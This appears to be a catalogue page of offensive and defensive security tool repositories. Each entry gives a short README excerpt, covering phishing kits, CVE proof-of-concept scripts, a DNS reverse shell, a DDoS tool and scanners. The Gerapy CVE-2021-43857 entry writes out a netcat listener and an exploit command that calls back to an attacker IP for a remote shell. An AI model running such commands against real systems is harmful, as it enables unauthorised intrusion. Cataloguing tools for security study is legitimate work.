thief_raccoon

Thief Raccoon - Login Phishing Tool Thief Raccoon is a tool designed for educational purposes to demonstrate how phishing attacks can be conducted on various operating systems. This tool is intended to raise awareness about cybersecurity threats and help users understand the importance of securit...

NoSQLMap

NoSQLMap NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database. Originally authored by @tcsstool and n...

msploitego

msploitego - The Pentesting suite for Maltego THIS IS A BETA RELEASE, please be nice and report any issues Whats New New Features Now supporting multiple workspaces for Metasploit via Postgres queries A bash script that runs tons of auxiliary modules against targets. Really 'fattens' up the...

CVE-2021-43857-Gerapy-v0.9.7

CVE-2021-43857-Gerapy-v0.9.7 login to portal as admin add new project sudo nc -lvnp 80 searchsploit -m python/remote/50640.py python3 ./50640.py -t IP-TARGET/URL -p PORT-TARGET -L YOUR-KALI-LINUX-IP -P YOUR-LISTENER-PORT python3 ./50640.py -t 192.168.106.24 -p 8000 -L 192.168.45.202 -P 80 enjoy...

cosmicsting-validator

A Cosmicsting POC, with a bash script to check all of our hosted sites to confirm the patch. This repository is provided to allow store owners / hosts to confirm the patch is applied on stores. Within check.bash add domains to the SITES list. https://www.sdj.pw/posts/magento2-cosmic-sting-check/...

CheckHKRCE

CheckHKRCE CVE-2021-36260 Source code based on: https://github.com/mcw0/PoC/blob/master/CVE-2021-36260.py Install Python 3.8 + pip install requests Windows 10 OS, Linux Ubuntu Used python3 CheckHKRCE.py --rhost 192.168.1.11 --rport 80 --check CheckHKRCE.exe --rhost 192.168.1.11 --rport 80 --check...

pytm

pytm: A Pythonic framework for threat modeling Introduction Traditional threat modeling too often comes late to the party, or sometimes not at all. In addition, creating manual data flows and reports can be extremely time-consuming. The goal of pytm is to shift threat modeling to the left, making...

ElasticSearch-CVE-2014-3120

ElasticSearch search Remote Code Execution CVE-2014-3120 POC Code to exploit CVE-2014-3120 Requirements: python Usage: python elasticcheck.py Example: ➜ $ python elasticcheck.py hostport.txt 0 10.0.0.10:9200 Vulnerable 1 10.0.0.11:9201 Not Vulnerable 2 10.0.0.12:9201 Connection error Vulnerable...

Reverse_DNS_Shell

DNShell v1.7 Description: A Python Reverse Shell that uses DNS as the C2 channel. Requires: dnslib dnspython pycrypto Gotchyas: don't forget to change your HOST don't forget to change your SECRET key run server first Moar Info: http://lockboxx.blogspot.com/2015/01/python-reverse-dns-shell.html...

CVE-2011-1473-POC

CVE-2011-1473-POC CVE-2011-1473 POC script USAGE python3 poc-CVE-2011-1473.py --target TARGETHOST --count 5 --debug...

DDoS-Ripper

DDoS-Ripper What is a DDoS Attack? A Distributable Denied-of-Service DDOS attack server that cuts off targets or surrounding infrastructure in a flood of Internet traffic DDoS attacks achieve effectiveness using multiple compromised computer systems as a source of attack traffic. Search engines m...

Heartbleed-PoC-Exploit-Script

Heartbleed-PoC-Exploit-Script This Python Proof-of-Concept PoC script detects the Heartbleed vulnerability CVE-2014-0160 by performing a TLS handshake with the heartbeat extension and sending a crafted heartbeat request. It parses server responses to identify leaked memory, helping assess...

hephaestus-server-forger

Server security auditor for Apache, Nginx & IIS — 13 scan phases, 70+ finding codes, AI-powered hardening guides. Quick Start · Documentation · Docker · AI Analysis · Star on GitHub In Action Live scan · Apache 2.4.54 · 11 findings · 44.17s · scan 518 · safe mode !Hephaestus — HTML re...

pyOneNote

pyOneNote pyOneNote is a lightweight python library to read OneNote files. The main goal of this parser is to allow cybersecurity analyst to extract useful information from OneNote files. Installing the parser Installing the latest development pip install -U...

JSRat-Py

JSRat-Py This is my implementation of JSRat.ps1 in Python so you can now run the attack server from any OS instead of being limited to a Windows OS with Powershell enabled. Added support to handle client invocation via either rundll32 or regsvr32 methods References & Original Project: regsvr32:...

ofrak

OFRAK OFRAK Open Firmware Reverse Analysis Konsole is a binary analysis and modification platform. OFRAK combines the ability to: Identify and Unpack many binary formats Analyze unpacked binaries with field-tested reverse engineering tools Modify and Repack binaries with powerful patching...

CVE-2019-9053

Fixed it bcz of https://tryhackme.com/room/easyctf : enjoy Critical Issues Fixed 1. Python 2 to Python 3 Compatibility Old: print "string" New: print"string" Changed all print statements to print functions Updated string formatting to use f-strings 2. Deprecated optparse Library Old: import...

cred_scanner

credscanner A simple command line tool for finding AWS credentials in files. Optimized for use with Jenkins and other CI systems. I suspect there are other, better tools out there such as git-secrets, but I couldn't find anything to run a quick and dirty scan that also integrates well with Jenkin...

wafparan01d3

Quick WAF "paranoid" Doctor Evaluation WAFPARAN01D3 The Web Application Firewall Paranoia Level Test Tool. — Fromalt3kx.github.io -blue.svg Introduction to Paranoia Levels In essence, the Paranoia Level PL allows you to define how aggressive the Core Rule Set is. Reference:...

WhatsApp-OSINT

WHATS OSINT 🕵️‍♂️ OSINT tool for WhatsApp that allows you to obtain profile photos, verify Business accounts, check status and user information, analyze linked devices, review privacy settings, and access full data using the WhatsApp OSINT API from RapidAPI. Supports 6 endpoints: about, base64,...